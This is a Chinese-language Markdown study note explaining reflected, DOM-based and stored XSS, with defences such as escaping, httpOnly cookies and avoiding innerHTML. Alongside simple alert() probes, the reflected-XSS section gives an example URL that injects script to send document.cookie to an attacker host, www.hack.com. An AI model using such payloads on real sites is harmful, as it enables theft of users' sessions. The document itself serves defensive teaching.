Skip to content

Latest commit

 

History

History
30 lines (26 loc) · 2.32 KB

1.XSS.md

File metadata and controls

30 lines (26 loc) · 2.32 KB

XSS(Cross-Site Scripting)跨站脚本攻击

  • 有人向网页注入恶意脚本代码
  • 用户访问了包含恶意代码的网页
  • 恶意脚本让黑客可以获取和控制用户信息
  • 防范是对用户输入做严格过滤

1.反射型(非持久型)XSS

  • 反射型, /home?type=<script>alert(1)</script>
  • {httpOnly: true}) 前端不能操作cookie,并不能解决XSS,但是可以降低受损的范围
  • 如果一个网站把用户输入的部分直接显示(留言板,查询),那么黑客可以根据这个做XSS,黑客可以用这个网址www.正规URL.com?query=<script>img.src=www.hack.com?query=document.cookies<script>,诱导用户自己点开,因为前面是正规的具有XSS漏洞的网址,用户很容易上当,一旦点击自己的cookies就被拿走了
  • 查询参数 预防方法,使用encodeURIComponent对输入url encode

2.DOM-BASE XSS

  • 不基于后端,基于DOM(文档对象模型),修改属性,插入内容,立足于DOM,可以是反射型也可以是存储型
  • 在改变结构后,会造成攻击,特别是使用innerhtml的时候,DOM解析HTML,造成攻击
  • 攻击的内容称为xss payload
  • 在用户输入的地方作为img的src,在这里输入 ""><script>alert(2)<\/script>"就是一次DOM-BASE的XSS
  • 网页url/ajax返回的数据是用户可控的并且在输出时没有做过滤,就可以写payloads
  • 对用户输入使用encodeURI或者手动转义,或者使用DOM API代替InnerHtml

3.存储型 XSS

  • 存储型XSS,恶意脚本存在服务器上,所有人都被影响了
  • 最常发生在由社区内容驱动的网站或Web邮件网站,不需要特制的链接来执行,一般发生在博客评论,用户评论,留言板,聊天室,HTML电子邮件
  • 客户端上传的时候,先校验过滤一下,服务器在过滤一下,在使用上传的内容时,也就是输出的时候过滤
  • 过滤是将用户输入的字符转义,将& " < > '转成 &amp; &quot; &lt; &gt; &apos;

防御总结

  1. 首先需要注意的是应该对所有用户提交的内容执行严格的输入验证,对URL,HTML,Javascript进行转义
  2. 保护被自动执行或来自第三方网站执行的所有敏感功能,使用令牌,验证码或者HTTP引用头检查
  3. 尽量不接受用户输入的HTML,如果非要,要禁止script标签,禁止调用远程内容(img,script,style)